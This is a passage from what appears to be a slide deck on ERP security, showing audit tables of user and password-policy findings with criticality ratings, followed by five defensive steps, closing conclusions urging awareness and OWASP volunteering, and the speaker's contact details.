<td>Users with multisite login</td>
<td>12</td>
<td>High</td>
</tr>
<tr>
<td>Users with default passwords</td>
<td>3</td>
<td>High</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Checks for password policy</th>
<th>Result</th>
<th>Criticality</th>
</tr>
</thead>
<tbody>
<tr>
<td>The minimum length of a password</td>
<td>3</td>
<td>High</td>
</tr>
<tr>
<td>Minimum number of letters that must occur in the password</td>
<td>0</td>
<td>High</td>
</tr>
<tr>
<td>Minimum number of lowercase letters that must occur in the password</td>
<td>0</td>
<td>High</td>
</tr>
<tr>
<td>Minimum number of uppercase letters that must occur in the password</td>
<td>2</td>
<td>Low</td>
</tr>
<tr>
<td>Minimum number of digits that must occur in the password</td>
<td>1</td>
<td>Medium</td>
</tr>
<tr>
<td>Minimum number of special characters that must occur in the password</td>
<td>1</td>
<td>High</td>
</tr>
<tr>
<td>Size of history passwords that cannot be used</td>
<td>100</td>
<td>Low</td>
</tr>
<tr>
<td>Number of characters different from previous password</td>
<td>8</td>
<td>Low</td>
</tr>
<tr>
<td>Password compatibility with legacy systems</td>
<td>0</td>
<td>Medium</td>
</tr>
<tr>
<td>Password expiration time</td>
<td>0</td>
<td>High</td>
</tr>
<tr>
<td>Validity period of passwords for newly created users</td>
<td>90</td>
<td>Low</td>
</tr>
<tr>
<td>Validity period of reset passwords</td>
<td>8</td>
<td>High</td>
</tr>
</tbody>
</table>
And Again 5 Steps

- Develop Secure software
- Implement it securely
- Teach administrators
- Increase user awareness
- Control the whole process

Now it is a bit easier
Conclusion about ERP Security

- ERP security is not a myth
- Becomes more popular for BlackHats and WhiteHats
- There is a need to create guidelines and increase awareness in this area
  (OWASP-EAS call for volunteers with background and practice in this area)
- ERP security is very complex and if you are ready to do it 24/7 then do it
- If you cannot do, leave it to professionals
a.polyakov@dsec.ru
@sh2kerr

Visit: erpscan.com
dsecrgr.com
owasp.org